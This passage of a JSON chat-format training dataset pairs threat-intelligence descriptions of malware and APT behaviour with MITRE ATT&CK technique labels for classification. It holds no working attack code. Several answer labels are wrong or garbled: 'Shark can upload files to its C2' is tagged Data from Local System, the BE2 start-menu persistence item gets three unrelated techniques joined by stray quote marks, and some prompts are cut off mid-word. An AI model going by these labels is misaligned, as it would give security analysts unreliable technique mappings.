                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Interestingly, the ChChes samples we observed were digitally signed using a certificate originally used by HackingTeam and later part of the data leaked when they were themselves hacked. Wapack labs also observed a similar sample targeting Japan in November. It’s not clear why the attackers chose to use this certificate, as it was old, had been leaked online, and had already been revoked by the time they used it. Digital certificates are typically used because they afford an air of legitimacy, which this one definitely does not."
            },
            {
                "role": "assistant",
                "content": "T1596.003 - Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The Nefilim ransomware downloads the Psexec.exe tool, and it also abuses the Windows built-in WMI (Windows Management Instrumentation) utility for lateral movement. PsExec is a free Microsoft tool that can be used to execute commands and binaries on remote systems and download or upload a file over a network share. Nefilim uses PsExec and WMI with hard-coded admin credentials to remotely execute the batch files and the ransomware file in remote hosts."
            },
            {
                "role": "assistant",
                "content": "T1570 - Lateral Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SUNBURST had commands that allow an attacker to write or delete registry keys, and was observed stopping services by setting their \"HKLM\\SYSTEM\\CurrentControlSet\\services\\\\[service_name]\\\\Start\" registry entries to value 4. It also deleted previously-created Image File Execution Options (IFEO) Debugger registry values and registry keys related to HTTP proxy to clean up traces of its activity."
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "CrackMapExec can execute PowerShell commands via WMI."
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Shark can upload files to its C2."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT39 has used the post exploitation tool CrackMapExec to enumerate network shares."
            },
            {
                "role": "assistant",
                "content": "T1135 - Network Share Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SOMBRAT evades forensic analysis by patching the process memory used to record command line arguments. It replaces the initial command line with the base filename of the program executable, removing any arguments. This means that investigators that inspect a process listing via memory forensics will see the innocuous-looking command line `powershell.exe` rather than references to the uncommon filename such as `WwanSvc.c"
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery', 'T1564.010 - Process Argument Spoofing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TeamTNT has used a script that decodes a Base64-encoded version of WeaveWorks Scope."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "JPIN can enumerate drives and their types. It can also change file permissions using cacls.exe."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Decrypted backdoor configuration Reverse analysis of TClient allowed us to determine how to decrypt the C&C information"
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BE2 also uses start menu locations for persistence: UsersuserAppDataRoamingMicrosoftWindowsStart"
            },
            {
                "role": "assistant",
                "content": "T1007 - System Service Discovery', 'T1036 - Masquerading', 'T1074 - Data Staged"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Machete used multiple compiled Python scripts on the victim’s system. Machete's main backdoor Machete is also written in Python."
            },
            {
                "role": "assistant",
                "content": "T1059.006 - Command and Scripting Interpreter: Python"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "LightNeuron has a function to delete files."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "CookieMiner has installed multiple new Launch Agents in order to maintain persistence for cryptocurrency mining software."
            },
            {
                "role": "assistant",
                "content": "T1543.001 - Create or Modify System Process: Launch Agent"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Bundlore has used Python scripts to execute payloads."
            },
            {
                "role": "assistant",
                "content": "T1059.006 - Command and Scripting Interpreter: Python"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "LightNeuron can collect files from a local system."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "aggregates collected data in a tmp file."
            },
            {
                "role": "assistant",
                "content": "T1074 - Data Staged"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Poseidon utilizes a variety of tools. Their main infection tool has been steadily evolving since 2005, with code remnants remaining the same to this day, while others have been altered to fit the requirements of new operating systems and specific campaigns. This tool appears to be designed to operate on high-value corporate systems like Domain Controllers or IIS servers that act as repositories of valuable information, particularly for lateral movement. The Information Gathering Tool (IGT) tool is coded in Delphi and includes powershell and SQL components across a dozen different drops. This tool contains several other executable files made in different programming languages ranging from Visual Basic 6 to C#, each one performing a very clear task devised by the group when trying to obtain more information from an objective"
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Dragonfly has used SMB for C2."
            },
            {
                "role": "assistant",
                "content": "T1071 - Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Shark has stored information in folders named `U1` and `U2` prior to exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1074 - Data Staged"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT29 has used RDP sessions from public-facing systems to internal servers."
            },
            {
                "role": "assistant",
                "content": "T1021.001 - Remote Services: Remote Desktop Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "encodes communications to the C2 server in Base64."
            },
            {
                "role": "assistant",
                "content": "T1132 - Data Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can use Window admin shares (C$ and ADMIN$) for lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1021.002 - Remote Services: SMB/Windows Admin Shares"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SHARPSTATS has the ability to identify the IP address, machine name, and OS of the compromised host."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cuba can enumerate files by using a variety of functions."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A Threat Group-3390 tool can add the binary’s path to the Registry key \"Software\\Microsoft\\Windows\\CurrentVersion\\Run\" to add persistence."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Wizard Spider has established persistence using Userinit by adding the Registry key HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon."
            },
            {
                "role": "assistant",
                "content": "T1547.004 - Boot or Logon Autostart Execution: Winlogon Helper DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BadPatch stores collected data in log files before exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1074.001 - Data Staged: Local Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The shellcode uses a 16-byte XOR key for decrypting the data as shown in Figure 10"
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A Threat Group-3390 tool can spawn svchost.exe and inject the payload into that process."
            },
            {
                "role": "assistant",
                "content": "T1055.012 - Process Injection: Process Hollowing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After the payload execution it reaches out to the C2 via POST request as shown below"
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Some strings are obfuscated with XOR x56"
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Valak can use \"wmic process call create\" in a scheduled task to launch plugins and for execution."
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Lucifer can use the Stratum protocol on port 10001 for communication between the cryptojacking bot and the mining server."
            },
            {
                "role": "assistant",
                "content": "T1071 - Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Kwampirs collects a list of users belonging to the local users and administrators groups with the commands \"net localgroup administrators\" and \"net localgroup users\"."
            },
            {
                "role": "assistant",
                "content": "T1069.001 - Permission Groups Discovery: Local Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "exfiltrates data over the same channel used for C2."
            },
            {
                "role": "assistant",
                "content": "T1041 - Exfiltration Over C2 Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Crimson can perform audio surveillance using microphones."
            },
            {
                "role": "assistant",
                "content": "T1123 - Audio Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "uses blogs and third-party sites (GitHub, tumbler, and BlogSpot) to avoid DNS-based blocking of their communication to the command and control server."
            },
            {
                "role": "assistant",
                "content": "T1102 - Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Skidmap has the ability to replace the pam_unix.so file on an infected machine with its own malicious version that accepts a specific backdoor password for all users."
            },
            {
                "role": "assistant",
                "content": "T1556.003 - Modify Authentication Process: Pluggable Authentication Modules"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Aria-body has used an encrypted configuration file for its loader."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "EVILNUM can achieve persistence through the Registry Run key."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BlackTech has used Putty for remote access."
            },
            {
                "role": "assistant",
                "content": "T1021.004 - Remote Services: SSH"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "For early  versions, the compilation timestamp was faked."
            },
            {
                "role": "assistant",
                "content": "T1070.006 - Indicator Removal on Host: Timestomp"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Bazar can decrypt downloaded payloads. Bazar also resolves strings and other artifacts at runtime."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Naikon uses commands such as \"netsh advfirewall firewall\" to discover local firewall settings."
            },
            {
                "role": "assistant",
                "content": "T1518.001 - Software Discovery: Security Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "QakBot can use \"net config workstation\", \"arp -a\", and \"ipconfig /all\" to gather network configuration information."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "WINERACK can create a reverse shell that utilizes statically-linked Wine cmd.exe code to emulate Windows command prompt commands."
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "4H RAT uses HTTP for command and control."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "If the ransomware is not executed with administrator rights or if the infected host runs Windows Vista or later, it will attempt to elevate its privileges. In short, WastedLocker uses a well-documented UAC bypass method [1] [2]. It chooses a random file (EXE/DLL) from the Windows system32 folder and copies it to the %APPDATA% location under a different hidden filename. Next, it creates an alternate data stream (ADS) into the file named bin and copies the ransomware into it. WastedLocker then copies winsat.exe and winmm.dll into a newly created folder located in the Windows temporary folder"
            },
            {
                "role": "assistant",
                "content": "T1564.001 - Hide Artifacts: Hidden Files and Directories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "used VPNs and Outlook Web Access (OWA) to maintain access to victim networks."
            },
            {
                "role": "assistant",
                "content": "T1133 - External Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "uses a specific port of 443 and can also use ports 53 and 80 for C2. One  variant uses HTTP over port 443 to connect to its C2 server."
            },
            {
                "role": "assistant",
                "content": "T1043 - Commonly Used Port"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cryptoistic has the ability to send and receive files."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The  C2 channel uses HTTP POST requests."
            },
            {
                "role": "assistant",
                "content": "T1071 - Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "GrimAgent can sleep for 195 - 205 seconds after payload execution and before deleting its task."
            },
            {
                "role": "assistant",
                "content": "T1497.003 - Time Based Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PowerSploit's \"New-UserPersistenceOption\" Persistence argument can be used to establish via a Scheduled Task/Job."
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "encrypts some C2 traffic with the Blowfish cipher."
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT29 has embedded an ISO file within an HTML attachment that contained JavaScript code to initiate malware execution."
            },
            {
                "role": "assistant",
                "content": "T1027.006 - HTML Smuggling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ferocious can delete files from a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During Operation Honeybee, the threat actors collected data from compromised hosts."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "admin@338 has sent emails with malicious Microsoft Office documents attached."
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Mythic provides various transform functions to encode and/or randomize C2 data."
            },
            {
                "role": "assistant",
                "content": "T1132 - Data Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has a command to list account information on the victim’s machine."
            },
            {
                "role": "assistant",
                "content": "T1087 - Account Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Sliver can support C2 communications over DNS."
            },
            {
                "role": "assistant",
                "content": "T1071.004 - Application Layer Protocol: DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "USBStealer mimics a legitimate Russian program called USB Disk Security."
            },
            {
                "role": "assistant",
                "content": "T1036.005 - Masquerading: Match Legitimate Name or Location"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "These platforms are used to exfiltrate documents and receive instructions. Here is a list of the platforms used by this variant: Twitter, Yandex and Mediafire. The tokens for each platform are hardcoded within the sample"
            },
            {
                "role": "assistant",
                "content": "T1102.002 - Bidirectional Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Pillowmint has used the NtQueueApcThread syscall to inject code into svchost.exe."
            },
            {
                "role": "assistant",
                "content": "T1055.004 - Process Injection: Asynchronous Procedure Call"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "encrypts several of its files, including configuration files."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Chinese state-sponsored cyber actors have been observed using the mv command to export files into a location, like a compromised Microsoft Exchange, IIS, or emplaced webshell prior to compressing and exfiltrating the data from the target network."
            },
            {
                "role": "assistant",
                "content": "T1074 - Data Staged"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Conficker downloads an HTTP server to the infected machine."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A macro is executed by the Office document: The macro inflates and creates a ZIP file on the targeted system and executes a Lua script in this archive. The archive contains the Lua payload and luajit, a Lua interpreter for Windows. Here is the script: This script downloads and executes an additional payload"
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In the past we have seen others techniques that used Bitcoin blockchain to hide their C&amp;C server IP address, but in this blog we will share an analysis of the new technique"
            },
            {
                "role": "assistant",
                "content": "T1568 - Dynamic Resolution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FatDuke can enumerate directories on target machines."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Bandook is capable of spawning a Windows command shell."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Creates events \"__klg__\" and \"__klgkillsoft__\" to act as mutexes and facilitate self-removal. Installs itself to %APPDATA%\\Intel Corporation\\IAStorIcon.exe. Creates an entry in the user's Startup folder for persistence. Uses the SetWindowsHookExW API function to capture keystrokes system-wide. Formats and writes the keylogger output to %APPDATA%\\Update\\Tmp\\k%d.txt, where %d is the current system tick count"
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Flagpro has been used to execute \"net view\" on a targeted system."
            },
            {
                "role": "assistant",
